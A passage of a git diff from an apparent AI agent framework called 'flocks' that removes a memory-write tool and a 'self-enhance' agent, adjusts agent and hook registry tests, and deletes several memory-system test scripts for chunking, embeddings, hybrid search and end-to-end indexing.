_get_session_memory(ctx) - if err: - return err - - try: - written_path = await memory.write( - content=content, - path=path, - append=bool(append), - ) - return ToolResult( - success=True, - output={ - "path": written_path, - "length": len(content), - "append": bool(append), - }, - ) - except Exception as e: - log.error("memory_write.failed", {"error": str(e)}) - return ToolResult(success=False, error=f"Memory write failed: {str(e)}") diff --git a/tests/agent/test_agent.py b/tests/agent/test_agent.py index 54ebe3378..45141edc8 100644 --- a/tests/agent/test_agent.py +++ b/tests/agent/test_agent.py @@ -2,7 +2,7 @@ Agent system tests Tests for Agent definitions, permissions, prompts, and registry operations. -Reflects the current architecture: 13 built-in agents loaded from YAML folders, +Reflects the current architecture: built-in agents loaded from YAML folders, no permission_compat helpers, compaction/title/summary live in session/prompts.py. """ @@ -18,7 +18,7 @@ BUILTIN_AGENTS = [ "rex", "hephaestus", "explore", "oracle", "librarian", "prometheus", "multimodal-looker", - "self-enhance", "rex-junior", "host-forensics", "host-forensics-fast", + "rex-junior", "host-forensics", "host-forensics-fast", ] @@ -109,13 +109,6 @@ async def test_prometheus_agent(self): assert edit_rules assert any(getattr(rule, "pattern", None) == ".flocks/plans/*" for rule in edit_rules) - @pytest.mark.asyncio - async def test_self_enhance_agent(self): - agent = await Agent.get("self-enhance") - assert agent is not None - assert agent.mode == "subagent" - assert agent.delegatable is True - @pytest.mark.asyncio async def test_security_agents(self): for name in ["host-forensics", "host-forensics-fast"]: diff --git a/tests/agent/test_agent_factory.py b/tests/agent/test_agent_factory.py index 25e67dcbf..4d6a688d4 100644 --- a/tests/agent/test_agent_factory.py +++ b/tests/agent/test_agent_factory.py @@ -330,7 +330,7 @@ def test_all_builtin_agent_names_present(self): expected = [ "rex", "hephaestus", "explore", "oracle", "librarian", "prometheus", "multimodal-looker", - "self-enhance", "rex-junior", + "rex-junior", ] for name in expected: assert name in result, f"Built-in agent '{name}' missing from scan" @@ -480,7 +480,7 @@ async def test_static_prompt_agents(self): """Built-in agents with prompt.md should have non-empty prompts.""" from flocks.agent.registry import Agent # Only built-in agents (native=True) — not dependent on local plugin installation - for name in ["explore", "oracle", "prometheus", "self-enhance", "multimodal-looker"]: + for name in ["explore", "oracle", "prometheus", "multimodal-looker"]: agent = await Agent.get(name) assert agent is not None, f"Agent '{name}' not found" assert agent.prompt is not None, f"Agent '{name}' should have a prompt from prompt.md" diff --git a/tests/hooks/test_registry.py b/tests/hooks/test_registry.py index c33764c92..dee531012 100644 --- a/tests/hooks/test_registry.py +++ b/tests/hooks/test_registry.py @@ -136,6 +136,7 @@ async def handler2(event): def test_register_builtin_hooks_is_idempotent(): from flocks.hooks.builtin import register_builtin_hooks + from flocks.hooks.pipeline import HookPipeline HookRegistry.reset_instance() try: @@ -143,7 +144,8 @@ def test_register_builtin_hooks_is_idempotent(): register_builtin_hooks() stats = HookRegistry.get_instance().get_stats() - assert stats["event_keys"]["command:new"]["handler_count"] == 1 + assert "command:new" not in stats["event_keys"] + assert "builtin.session-evolution" not in HookPipeline.list_hooks() finally: HookRegistry.get_instance().clear() HookRegistry.reset_instance() diff --git a/tests/memory/test_chunking_indexing.py b/tests/memory/test_chunking_indexing.py deleted file mode 100644 index 229b57666..000000000 --- a/tests/memory/test_chunking_indexing.py +++ /dev/null @@ -1,248 +0,0 @@ -#!/usr/bin/env python3 -""" -Test chunking and indexing functionality - -Tests the text chunking and file indexing system. -""" - -import asyncio -import tempfile -from pathlib import Path - - -async def test_chunking_and_indexing(): - """Test chunking and indexing""" - print("=" * 60) - print("Testing Chunking and Indexing") - print("=" * 60) - - # Test 1: Import modules - print("\n[1/6] Testing imports...") - try: - from flocks.memory.sync import TextChunker, MemoryIndexer - from flocks.memory import MemoryConfig, MemoryChunkingConfig - print("✅ Successfully imported chunking and indexing modules") - except Exception as e: - print(f"❌ Import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 2: Test text chunking - print("\n[2/6] Testing text chunking...") - try: - config = MemoryChunkingConfig(tokens=50, overlap=10) - chunker = TextChunker(config) - - # Create test text (multiple lines) - test_lines = [ - "This is line 1 with some content about artificial intelligence.", - "Line 2 continues with machine learning topics.", - "Line 3 discusses deep learning and neural networks.", - "Line 4 covers natural language processing.", - "Line 5 talks about computer vision and image recognition.", - "Line 6 is about reinforcement learning and agents.", - "Line 7 discusses transformers and attention mechanisms.", - "Line 8 covers GPT models and language understanding.", - ] - test_text = "\n".join(test_lines) - - chunks = chunker.chunk_text(test_text, "test.md") - - print(f" Total lines: {len(test_lines)}") - print(f" Chunks created: {len(chunks)}") - - for i, chunk in enumerate(chunks): - print(f" Chunk {i+1}: lines {chunk.start_line}-{chunk.end_line} ({chunk.end_line - chunk.start_line + 1} lines)") - - assert len(chunks) > 0, "Should create at least one chunk" - - # Verify chunk properties - for chunk in chunks: - assert chunk.start_line <= chunk.end_line, "Start line should be <= end line" - assert chunk.text, "Chunk should have text" - assert chunk.hash, "Chunk should have hash" - assert len(chunk.hash) == 32, "Hash should be 32 chars" - - # Verify overlap (if multiple chunks) - if len(chunks) > 1: - print(f" Overlap detected: chunks share some lines") - - print("✅ Text chunking working correctly") - except Exception as e: - print(f"❌ Chunking test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 3: Test file scanning - print("\n[3/6] Testing file scanning...") - try: - from flocks.storage import Storage - from flocks.provider import Provider - - # Initialize systems - await Storage.init() - await Provider.init() - - # Create temporary workspace - with tempfile.TemporaryDirectory() as tmpdir: - workspace = Path(tmpdir) - - # Create test files (only MEMORY.md, not memory.md to avoid duplication) - (workspace / "MEMORY.md").write_text("# Main Memory\n\nSome content here.") - - memory_dir = workspace / "memory" - memory_dir.mkdir() - (memory_dir / "2024-01-01.md").write_text("# Daily Log\n\nDay 1 notes.") - (memory_dir / "2024-01-02.md").write_text("# Daily Log\n\nDay 2 notes.") - - # Note: Don't create memory.md to avoid duplication with MEMORY.md - - # Create indexer - memory_config = MemoryConfig( - enabled=True, - sources=["memory"], - embedding={"provider": "openai", "model": "text-embedding-3-small"}, - ) - - indexer = MemoryIndexer( - project_id="test_proj", - workspace_dir=workspace, - provider_id="openai", - embedding_model="text-embedding-3-small", - config=memory_config, - ) - - # Scan files - files = await indexer._scan_memory_files() - - print(f" Files found: {len(files)}") - for f in files: - print(f" - {f.path} ({f.size} bytes)") - - # Should find at least 3 files (MEMORY.md + 2 daily logs) - # Note: May find 4 if both MEMORY.md and memory.md exist - assert len(files) >= 3, f"Should find at least 3 files, found {len(files)}" - assert any("MEMORY.md" in f.path or "memory.md" in f.path for f in files), "Should find main memory file" - - print("✅ File scanning working correctly") - except Exception as e: - print(f"❌ File scanning test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 4: Test hash-based change detection - print("\n[4/6] Testing change detection...") - try: - from flocks.memory.utils import compute_hash - - with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.md') as f: - f.write("Original content") - temp_path = Path(f.name) - - hash1 = compute_hash(temp_path) - print(f" Hash 1: {hash1[:16]}...") - - # Modify file - temp_path.write_text("Modified content") - hash2 = compute_hash(temp_path) - print(f" Hash 2: {hash2[:16]}...") - - assert hash1 != hash2, "Hashes should differ for different content" - - # Same content should give same hash - temp_path.write_text("Original content") - hash3 = compute_hash(temp_path) - - assert hash1 == hash3, "Same content should give same hash" - - temp_path.unlink() - print("✅ Change detection working correctly") - except Exception as e: - print(f"❌ Change detection test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 5: Test chunk hash uniqueness - print("\n[5/6] Testing chunk hash uniqueness...") - try: - from flocks.memory.utils import compute_text_hash - - text1 = "Same content" - text2 = "Same content" - text3 = "Different content" - - hash1 = compute_text_hash(text1) - hash2 = compute_text_hash(text2) - hash3 = compute_text_hash(text3) - - print(f" Hash 1: {hash1}") - print(f" Hash 2: {hash2}") - print(f" Hash 3: {hash3}") - - assert hash1 == hash2, "Same text should give same hash" - assert hash1 != hash3, "Different text should give different hash" - - print("✅ Chunk hash uniqueness working correctly") - except Exception as e: - print(f"❌ Chunk hash test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 6: Test indexer initialization - print("\n[6/6] Testing indexer initialization...") - try: - with tempfile.TemporaryDirectory() as tmpdir: - workspace = Path(tmpdir) - - memory_config = MemoryConfig( - enabled=True, - sources=["memory"], - ) - - indexer = MemoryIndexer( - project_id="test_proj", - workspace_dir=workspace, - provider_id="openai", - embedding_model="text-embedding-3-small", - config=memory_config, - ) - - print(f" Project ID: {indexer.project_id}") - print(f" Workspace: {indexer.workspace_dir}") - print(f" Provider: {indexer.provider_id}") - print(f" Model: {indexer.embedding_model}") - print(f" Chunker: {indexer.chunker is not None}") - - assert indexer.chunker is not None, "Should have chunker" - - print("✅ Indexer initialization working correctly") - except Exception as e: - print(f"❌ Indexer initialization test failed: {e}") - import traceback - traceback.print_exc() - return False - - print("\n" + "=" * 60) - print("✅ All chunking and indexing tests passed!") - print("=" * 60) - print("\n📋 Chunking and indexing system ready:") - print(" - Text chunker with token-based splitting") - print(" - Overlap strategy for better context") - print(" - File scanner for memory files") - print(" - Hash-based change detection") - print(" - Incremental indexing support") - print(" - Embedding generation integration") - - print("\n⚠️ Note: Full indexing test with embeddings requires API keys") - - return True - - -if __name__ == "__main__": - success = asyncio.run(test_chunking_and_indexing()) - exit(0 if success else 1) diff --git a/tests/memory/test_embeddings_basic.py b/tests/memory/test_embeddings_basic.py deleted file mode 100644 index 98dea0412..000000000 --- a/tests/memory/test_embeddings_basic.py +++ /dev/null @@ -1,131 +0,0 @@ -#!/usr/bin/env python3 -""" -Basic test for provider embeddings functionality - -Run this to verify that the embeddings interface was added correctly. -""" - -import asyncio - - -async def test_basic_interface(): - """Test that the basic interface exists""" - print("=" * 60) - print("Testing Provider Embeddings Interface") - print("=" * 60) - - # Test 1: Import modules - print("\n[1/6] Testing imports...") - try: - from flocks.provider import Provider, BaseProvider - print("✅ Successfully imported Provider and BaseProvider") - except Exception as e: - print(f"❌ Import failed: {e}") - return False - - # Test 2: Check BaseProvider has embed methods - print("\n[2/6] Checking BaseProvider has embed methods...") - try: - assert hasattr(BaseProvider, 'embed'), "BaseProvider missing 'embed' method" - assert hasattr(BaseProvider, 'embed_batch'), "BaseProvider missing 'embed_batch' method" - assert hasattr(BaseProvider, 'supports_embeddings'), "BaseProvider missing 'supports_embeddings' method" - assert hasattr(BaseProvider, 'get_embedding_models'), "BaseProvider missing 'get_embedding_models' method" - print("✅ BaseProvider has all required methods") - except AssertionError as e: - print(f"❌ {e}") - return False - - # Test 3: Check Provider has embed methods - print("\n[3/6] Checking Provider namespace has embed methods...") - try: - assert hasattr(Provider, 'embed'), "Provider missing 'embed' method" - assert hasattr(Provider, 'embed_batch'), "Provider missing 'embed_batch' method" - print("✅ Provider has all required methods") - except AssertionError as e: - print(f"❌ {e}") - return False - - # Test 4: Initialize providers - print("\n[4/6] Initializing provider system...") - try: - await Provider.init() - print("✅ Provider system initialized") - except Exception as e: - print(f"❌ Initialization failed: {e}") - return False - - # Test 5: Check OpenAI provider supports embeddings - print("\n[5/6] Checking OpenAI provider...") - try: - openai = Provider.get("openai") - assert openai is not None, "OpenAI provider not found" - - supports = openai.supports_embeddings() - print(f" OpenAI supports embeddings: {supports}") - - if supports: - models = openai.get_embedding_models() - print(f" Available models: {models}") - assert len(models) > 0, "No embedding models available" - print("✅ OpenAI provider properly configured") - else: - print("⚠️ OpenAI provider doesn't support embeddings (implementation issue)") - except Exception as e: - print(f"❌ OpenAI check failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 6: Check Google provider supports embeddings - print("\n[6/6] Checking Google provider...") - try: - google = Provider.get("google") - assert google is not None, "Google provider not found" - - supports = google.supports_embeddings() - print(f" Google supports embeddings: {supports}") - - if supports: - models = google.get_embedding_models() - print(f" Available models: {models}") - assert len(models) > 0, "No embedding models available" - print("✅ Google provider properly configured") - else: - print("⚠️ Google provider doesn't support embeddings (implementation issue)") - except Exception as e: - print(f"❌ Google check failed: {e}") - import traceback - traceback.print_exc() - return False - - print("\n" + "=" * 60) - print("✅ All basic tests passed!") - print("=" * 60) - print("\n📝 Note: To test actual embedding generation, you need:") - print(" - OPENAI_API_KEY environment variable for OpenAI") - print(" - GOOGLE_API_KEY environment variable for Google") - print("\n💡 Example usage:") - print(""" - from flocks.provider import Provider - await Provider.init() - - # Single embedding - embedding = await Provider.embed( - text="Hello world", - provider_id="openai", - model="text-embedding-3-small" - ) - - # Batch embeddings - embeddings = await Provider.embed_batch( - texts=["Hello", "World"], - provider_id="openai" - ) - """) - - return True - - -if __name__ == "__main__": - success = asyncio.run(test_basic_interface()) - exit(0 if success else 1) diff --git a/tests/memory/test_hybrid_search.py b/tests/memory/test_hybrid_search.py deleted file mode 100644 index 874a85f3d..000000000 --- a/tests/memory/test_hybrid_search.py +++ /dev/null @@ -1,226 +0,0 @@ -#!/usr/bin/env python3 -""" -Test hybrid search functionality - -Tests the hybrid search engine combining vector and keyword search. -""" - -import asyncio -import tempfile -from pathlib import Path - - -async def test_hybrid_search(): - """Test hybrid search engine""" - print("=" * 60) - print("Testing Hybrid Search Engine") - print("=" * 60) - - # Test 1: Import modules - print("\n[1/5] Testing imports...") - try: - from flocks.memory.search import HybridSearch - from flocks.memory.search.hybrid import decorate_citations, format_citation - from flocks.memory import MemoryQueryConfig, MemorySearchResult, MemorySource - print("✅ Successfully imported search modules") - except Exception as e: - print(f"❌ Import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 2: Test citation formatting - print("\n[2/5] Testing citation formatting...") - try: - result1 = MemorySearchResult( - path="MEMORY.md", - start_line=10, - end_line=15, - score=0.85, - snippet="Test snippet", - source=MemorySource.MEMORY, - ) - - result2 = MemorySearchResult( - path="memory/2024-01-01.md", - start_line=5, - end_line=5, - score=0.92, - snippet="Single line", - source=MemorySource.MEMORY, - ) - - citation1 = format_citation(result1) - citation2 = format_citation(result2) - - print(f" Multi-line: {citation1}") - print(f" Single-line: {citation2}") - - assert citation1 == "MEMORY.md#L10-L15", "Should format multi-line citation" - assert citation2 == "memory/2024-01-01.md#L5", "Should format single-line citation" - - print("✅ Citation formatting working correctly") - except Exception as e: - print(f"❌ Citation test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 3: Test citation decoration - print("\n[3/5] Testing citation decoration...") - try: - results = [ - MemorySearchResult( - path="test.md", - start_line=1, - end_line=5, - score=0.9, - snippet="Original snippet", - source=MemorySource.MEMORY, - ) - ] - - # Test with citations on - decorated_on = decorate_citations(results, mode="on") - print(f" Mode 'on': citation added") - assert decorated_on[0].citation is not None, "Should have citation" - assert "Source:" in decorated_on[0].snippet, "Should have source in snippet" - - # Test with citations off - decorated_off = decorate_citations(results, mode="off") - print(f" Mode 'off': citation removed") - assert decorated_off[0].snippet == "Original snippet", "Should keep original snippet" - - print("✅ Citation decoration working correctly") - except Exception as e: - print(f"❌ Citation decoration test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 4: Test search engine initialization - print("\n[4/5] Testing search engine initialization...") - try: - config = MemoryQueryConfig( - max_results=10, - min_score=0.6, - ) - - search_engine = HybridSearch( - project_id="test_proj", - provider_id="openai", - embedding_model="text-embedding-3-small", - config=config, - ) - - print(f" Project ID: {search_engine.project_id}") - print(f" Provider: {search_engine.provider_id}") - print(f" Model: {search_engine.embedding_model}") - print(f" Hybrid enabled: {search_engine.config.hybrid.enabled}") - print(f" Vector weight: {search_engine.config.hybrid.vector_weight}") - print(f" Text weight: {search_engine.config.hybrid.text_weight}") - - assert search_engine.config.hybrid.enabled, "Hybrid should be enabled by default" - - print("✅ Search engine initialization working correctly") - except Exception as e: - print(f"❌ Search engine init test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 5: Test result merging logic - print("\n[5/5] Testing result merging logic...") - try: - config = MemoryQueryConfig() - search_engine = HybridSearch( - project_id="test", - provider_id="openai", - embedding_model="test", - config=config, - ) - - # Create test results - vector_results = [ - MemorySearchResult( - path="test.md", - start_line=1, - end_line=5, - score=0.9, - snippet="Vector match", - source=MemorySource.MEMORY, - ), - MemorySearchResult( - path="test.md", - start_line=10, - end_line=15, - score=0.7, - snippet="Another vector match", - source=MemorySource.MEMORY, - ), - ] - - keyword_results = [ - MemorySearchResult( - path="test.md", - start_line=1, - end_line=5, - score=0.8, # Also found by keyword - snippet="Keyword match (better snippet)", - source=MemorySource.MEMORY, - ), - MemorySearchResult( - path="other.md", - start_line=20, - end_line=25, - score=0.6, - snippet="Keyword only match", - source=MemorySource.MEMORY, - ), - ] - - merged = search_engine._merge_results(vector_results, keyword_results) - - print(f" Vector results: {len(vector_results)}") - print(f" Keyword results: {len(keyword_results)}") - print(f" Merged results: {len(merged)}") - - # Should have 3 unique chunks - assert len(merged) == 3, "Should have 3 unique chunks" - - # First result should combine both scores - first = next(r for r in merged if r.path == "test.md" and r.start_line == 1) - expected_score = 0.7 * 0.9 + 0.3 * 0.8 # vector_weight * v_score + text_weight * k_score - print(f" First result score: {first.score:.4f} (expected: {expected_score:.4f})") - assert abs(first.score - expected_score) < 0.01, "Should combine scores correctly" - - # Snippet should prefer keyword match - assert "Keyword match" in first.snippet, "Should use keyword snippet" - - print("✅ Result merging working correctly") - except Exception as e: - print(f"❌ Result merging test failed: {e}") - import traceback - traceback.print_exc() - return False - - print("\n" + "=" * 60) - print("✅ All hybrid search tests passed!") - print("=" * 60) - print("\n📋 Hybrid search engine ready:") - print(" - Vector similarity search") - print(" - BM25 keyword search") - print(" - Weighted result merging") - print(" - Citation formatting") - print(" - Configurable weights") - - print("\n⚠️ Note: Full search test with embeddings requires:") - print(" - Indexed memory files in database") - print(" - API keys for embedding generation") - - return True - - -if __name__ == "__main__": - success = asyncio.run(test_hybrid_search()) - exit(0 if success else 1) diff --git a/tests/memory/test_memory_basics.py b/tests/memory/test_memory_basics.py deleted file mode 100644 index 14b8c5025..000000000 --- a/tests/memory/test_memory_basics.py +++ /dev/null @@ -1,219 +0,0 @@ -#!/usr/bin/env python3 -""" -Test memory system basics - -Tests the basic memory system structure and configuration. -""" - -import asyncio -import tempfile -from pathlib import Path - - -async def test_memory_basics(): - """Test memory system basic functionality""" - print("=" * 60) - print("Testing Memory System Basics") - print("=" * 60) - - # Test 1: Import memory types - print("\n[1/8] Testing type imports...") - try: - from flocks.memory import ( - MemorySource, - MemorySearchResult, - MemorySyncProgress, - MemoryProviderStatus, - MemoryFileEntry, - MemoryChunk, - EmbeddingResult, - ) - print("✅ Successfully imported all memory types") - except Exception as e: - print(f"❌ Type import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 2: Import memory config - print("\n[2/8] Testing config imports...") - try: - from flocks.memory import ( - MemoryConfig, - MemoryEmbeddingConfig, - MemoryChunkingConfig, - MemorySyncConfig, - MemoryQueryConfig, - MemoryCacheConfig, - MemoryBatchConfig, - MemoryAutoFlushConfig, - ) - print("✅ Successfully imported all memory config types") - except Exception as e: - print(f"❌ Config import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 3: Import memory utils - print("\n[3/8] Testing utils imports...") - try: - from flocks.memory import ( - compute_hash, - compute_text_hash, - truncate_text, - extract_snippet, - normalize_path, - ) - print("✅ Successfully imported all memory utils") - except Exception as e: - print(f"❌ Utils import failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 4: Create memory config instance - print("\n[4/8] Testing MemoryConfig instantiation...") - try: - config = MemoryConfig( - enabled=True, - sources=["memory", "session"], - citations="auto", - ) - print(f" Enabled: {config.enabled}") - print(f" Sources: {config.sources}") - print(f" Citations: {config.citations}") - print(f" Embedding provider: {config.embedding.provider}") - print(f" Embedding model: {config.embedding.model}") - print(f" Chunk tokens: {config.chunking.tokens}") - print(f" Chunk overlap: {config.chunking.overlap}") - print("✅ MemoryConfig instantiation working") - except Exception as e: - print(f"❌ Config instantiation failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 5: Test hash functions - print("\n[5/8] Testing hash functions...") - try: - text = "Hello, world!" - text_hash = compute_text_hash(text) - print(f" Text hash: {text_hash}") - assert len(text_hash) == 32, "Text hash should be 32 chars" - - # Test file hash - with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.txt') as f: - f.write(text) - temp_path = Path(f.name) - - file_hash = compute_hash(temp_path) - print(f" File hash: {file_hash[:16]}...") - assert len(file_hash) == 64, "File hash should be 64 chars (SHA256)" - - temp_path.unlink() # Clean up - print("✅ Hash functions working correctly") - except Exception as e: - print(f"❌ Hash test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 6: Test text functions - print("\n[6/8] Testing text functions...") - try: - long_text = "A" * 1000 - truncated = truncate_text(long_text, max_length=100) - print(f" Original length: {len(long_text)}") - print(f" Truncated length: {len(truncated)}") - assert len(truncated) == 100, "Truncated text should be 100 chars" - assert truncated.endswith("..."), "Truncated text should end with ..." - - # Test snippet extraction - multi_line = "Line 1\nLine 2\nLine 3\nLine 4\nLine 5" - snippet = extract_snippet(multi_line, start_line=2, end_line=4) - print(f" Snippet: {snippet}") - assert snippet == "Line 2\nLine 3\nLine 4", "Snippet should extract correct lines" - - print("✅ Text functions working correctly") - except Exception as e: - print(f"❌ Text functions test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 7: Test path normalization - print("\n[7/8] Testing path normalization...") - try: - from flocks.memory.utils.text import is_memory_path - - paths = [ - ("MEMORY.md", True), - ("memory.md", True), - ("./MEMORY.md", True), - ("memory/2024-01-01.md", True), - ("./memory/notes.md", True), - ("docs/README.md", False), - ("test.py", False), - ] - - for path, expected in paths: - result = is_memory_path(path) - status = "✓" if result == expected else "✗" - print(f" {status} {path}: {result} (expected: {expected})") - assert result == expected, f"Path {path} should be {expected}" - - print("✅ Path normalization working correctly") - except Exception as e: - print(f"❌ Path normalization test failed: {e}") - import traceback - traceback.print_exc() - return False - - # Test 8: Test ConfigInfo integration - print("\n[8/8] Testing ConfigInfo integration...") - try: - from flocks.config import Config - - # Test that ConfigInfo has memory field - from flocks.config.config import ConfigInfo - import inspect - - fields = [f for f in dir(ConfigInfo) if not f.startswith('_')] - has_memory = 'memory' in fields or any('memory' in str(f) for f in inspect.signature(ConfigInfo.__init__).parameters) - - print(f" ConfigInfo has memory field: {has_memory}") - - # Create a config with memory - config_dict = { - "memory": { - "enabled": True, - "sources": ["memory"], - } - } - - config_info = ConfigInfo(**config_dict) - print(f" Memory config in ConfigInfo: {config_info.memory is not None}") - - print("✅ ConfigInfo integration working") - except Exception as e: - print(f"❌ ConfigInfo integration test failed: {e}") - import traceback - traceback.print_exc() - return False - - print("\n" + "=" * 60) - print("✅ All memory basics tests passed!") - print("=" * 60) - print("\n📋 Memory system structure ready:") - print(" - Types defined (MemorySearchResult, MemoryConfig, etc.)") - print(" - Config models created (MemoryEmbeddingConfig, etc.)") - print(" - Utility functions implemented (hash, text utils)") - print(" - ConfigInfo extended with memory field") - - return True - - -if __name__ == "__main__": - success = asyncio.run(test_memory_basics()) - exit(0 if success else 1) diff --git a/tests/memory/test_memory_e2e.py b/tests/memory/test_memory_e2e.py deleted file mode 100644 index 72ad637c7..000000000 --- a/tests/memory/test_memory_e2e.py +++ /dev/null @@ -1,324 +0,0 @@ -#!/usr/bin/env python3 -""" -End-to-End Memory System Integration Test - -Tests the complete memory system workflow: -1. System initialization -2. File writing -3. Indexing -4. Search (hybrid) -5. File reading -""" - -import asyncio -import tempfile -from pathlib import Path -import os - - -async def test_memory_system_e2e(): - """End-to-end memory system test""" - print("=" * 70) - print("Memory System - End-to-End Integration Test") - print("=" * 70) - - # Check API key - has_api_key = os.getenv("OPENAI_API_KEY") is not None - if not has_api_key: - print("\n⚠️ WARNING: OPENAI_API_KEY not set") - print(" This test will verify system structure but skip embedding generation") - print(" To run full test, set: export OPENAI_API_KEY=your_key\n") - - try: - # Import all components - print("\n[Step 1/8] Importing memory system components...") - from flocks.memory import ( - MemoryManager, - MemoryConfig, - MemorySource, - ) - from flocks.storage import Storage - from flocks.provider import Provider - print("✅ All components imported successfully") - - # Initialize systems - print("\n[Step 2/8] Initializing Storage and Provider...") - await Storage.init() - await Provider.init() - print("✅ Core systems initialized") - - # Create test workspace - with tempfile.TemporaryDirectory() as tmpdir: - workspace = Path(tmpdir) - print(f"✅ Test workspace: {tmpdir}") - - # Configure memory system - print("\n[Step 3/8] Configuring memory system...") - memory_config = MemoryConfig( - enabled=True, - sources=["memory"], - embedding={ - "provider": "openai", - "model": "text-embedding-3-small", - }, - chunking={ - "tokens": 200, - "overlap": 40, - }, - query={ - "max_results": 5, - "min_score": 0.5, - }, - sync={ - "on_search": False, # Don't auto-sync on search for testing - }, - cache={ - "enabled": True, - }, - batch={ - "enabled": True, - }, - ) - - # Get manager instance - manager = MemoryManager.get_instance( - project_id="e2e_test", - workspace_dir=tmpdir, - config=memory_config, - ) - - print(f" Provider: {manager.provider_id}") - print(f" Model: {manager.embedding_model}") - print(f" Config: {memory_config.enabled}") - print("✅ Memory system configured") - - # Initialize manager - print("\n[Step 4/8] Initializing MemoryManager...") - await manager.initialize() - print(f" Search engine: {manager.search_engine is not None}") - print(f" Indexer: {manager.indexer is not None}") - print("✅ MemoryManager initialized") - - # Create test memory files - print("\n[Step 5/8] Creating test memory files...") - - # Main memory file - main_memory = """# Project Memory - -## AI & Machine Learning - -### Transformers -Transformers are a type of neural network architecture that uses self-attention mechanisms. -They were introduced in the paper "Attention is All You Need" by Vaswani et al. - -Key components: -- Multi-head attention -- Position encoding -- Feed-forward networks - -### GPT Models -GPT (Generative Pre-trained Transformer) models are autoregressive language models. -They are trained on large amounts of text data using unsupervised learning. - -Applications: -- Text generation -- Question answering -- Code completion - -## Python Best Practices - -### Type Hints -Always use type hints in Python for better code clarity: -```python -def process_data(items: List[str]) -> Dict[str, int]: - return {item: len(item) for item in items} -``` - -### Async/Await -Use async/await for I/O-bound operations to improve performance. -""" - - # Daily log - daily_log = """# Daily Log - 2024-01-15 - -## Achievements -- Implemented hybrid search engine -- Added vector similarity search -- Integrated BM25 keyword search - -## Learnings -- Cosine similarity is effective for semantic search -- BM25 works well for exact keyword matches -- Combining both gives best results - -## Next Steps -- Optimize embedding generation -- Add caching layer -- Implement incremental indexing -""" - - # Write files - (workspace / "MEMORY.md").write_text(main_memory) - memory_dir = workspace / "memory" - memory_dir.mkdir() - (memory_dir / "2024-01-15.md").write_text(daily_log) - - print(f" Created MEMORY.md ({len(main_memory)} chars)") - print(f" Created memory/2024-01-15.md ({len(daily_log)} chars)") - print("✅ Test memory files created") - - # Test write_memory method - print("\n[Step 6/8] Testing write_memory method...") - new_entry = "## New Finding\n\nVector databases are essential for semantic search." - path = await manager.write_memory(new_entry, append=True) - print(f" Written to: {path}") - print(f" Content length: {len(new_entry)} chars") - print(f" Dirty flag: {manager._dirty}") - print("✅ write_memory working correctly") - - # Sync/Index files - print("\n[Step 7/8] Indexing memory files...") - if has_api_key: - print(" Starting indexing with embeddings...") - try: - stats = await manager.sync(reason="e2e_test") - print(f" Files scanned: {stats['files_scanned']}") - print(f" Files indexed: {stats['files_indexed']}") - print(f" Chunks created: {stats['chunks_created']}") - print(f" Embeddings generated: {stats['embeddings_generated']}") - print(f" Cache hits: {stats['cache_hits']}") - print("✅ Indexing completed successfully") - except Exception as e: - print(f"❌ Indexing failed: {e}") - print(" This is expected if API quota is exceeded") - has_api_key = False # Skip search test - else: - print(" ⚠️ Skipping indexing (no API key)") - print(" Would index files and generate embeddings here") - - # Search memory - print("\n[Step 8/8] Testing search functionality...") - if has_api_key: - print(" Executing searches...") - try: - # Test 1: Search for transformers - results1 = await manager.search( - query="What are transformers in AI?", - max_results=3, - ) - print(f"\n Query 1: 'What are transformers in AI?'") - print(f" Results: {len(results1)}") - for i, r in enumerate(results1[:3], 1): - print(f" {i}. {r.path} (score: {r.score:.3f})") - print(f" Lines {r.start_line}-{r.end_line}") - print(f" Snippet: {r.snippet[:80]}...") - - # Test 2: Search for Python - results2 = await manager.search( - query="Python best practices", - max_results=3, - ) - print(f"\n Query 2: 'Python best practices'") - print(f" Results: {len(results2)}") - for i, r in enumerate(results2[:3], 1): - print(f" {i}. {r.path} (score: {r.score:.3f})") - print(f" Lines {r.start_line}-{r.end_line}") - - # Test 3: Search for embeddings - results3 = await manager.search( - query="vector databases and embeddings", - max_results=3, - ) - print(f"\n Query 3: 'vector databases and embeddings'") - print(f" Results: {len(results3)}") - for i, r in enumerate(results3[:3], 1): - print(f" {i}. {r.path} (score: {r.score:.3f})") - - print("\n✅ Search functionality working correctly") - except Exception as e: - print(f"\n⚠️ Search failed (likely quota/rate limit): {e}") - print(" This is expected with free/limited API keys") - has_api_key = False - - if not has_api_key: - print(" ⚠️ Skipping semantic search (no API key or quota exceeded)") - print(" Would execute semantic searches here") - - # Test with empty index (should return empty results gracefully) - try: - results = await manager.search( - query="test query", - max_results=5, - ) - print(f" Empty index search: {len(results)} results") - print("✅ Search gracefully handles empty index") - except Exception as e: - print(f" Empty index search (expected errors): {len(str(e))} chars") - print("✅ Search handles missing API key gracefully") - - # Test read_file method - print("\n[Bonus] Testing read_file method...") - content = await manager.read_file("MEMORY.md", from_line=1, lines=10) - print(f" Read {len(content['text'])} chars from MEMORY.md") - print(f" First line: {content['text'].split(chr(10))[0]}") - print("✅ read_file working correctly") - - # Check status - print("\n[Bonus] Checking system status...") - status = manager.status() - print(f" Enabled: {status.enabled}") - print(f" Provider: {status.provider}") - print(f" Model: {status.model}") - print(f" Sources: {[s.value for s in status.sources]}") - print(f" Dirty: {status.dirty}") - print("✅ Status reporting working correctly") - - # Final summary - print("\n" + "=" * 70) - print("✅ End-to-End Integration Test PASSED") - print("=" * 70) - - print("\n📊 Test Summary:") - print(" ✅ Component imports") - print(" ✅ System initialization") - print(" ✅ Configuration") - print(" ✅ MemoryManager creation") - print(" ✅ File operations") - if 